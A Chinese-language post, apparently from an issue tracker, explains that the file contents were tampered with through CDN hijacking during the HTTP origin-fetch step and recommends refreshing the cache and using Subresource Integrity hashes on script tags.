问题是,为什么我们的原始文件内容变成了这样,分析后发现原因应该是CDN劫持(回源过程中),当我们访问某个资源时会去附近的CDN节点上进行访问,如果这个资源存在则使用CDN上的这个资源,这个过程是HTTPS加密的,所以不存在劫持,可是当我们的资源发生了变化,或者是CDN上没有这个资源,那么就会去源节点上去寻找这个资源,并且拉取到这个CDN上,这个过程就是回源(我们的原始节点在百度云BOS对象存储上),回源的这个过程是HTTP的,所以这个过程存在风险,资源在这个过程中有被篡改或者替换的可能。

所以我们只要去刷新一下CDN上的缓存,使其重新去源节点上重新拉取,尽管这个过程还是会存在一定的风险,而且必须是我们发现了类似的情况才能去解决这个问题,script 标签新增了integrity属性,子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

https://developer.mozilla.org/zh-CN/docs/Web/Security/子资源完整性

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.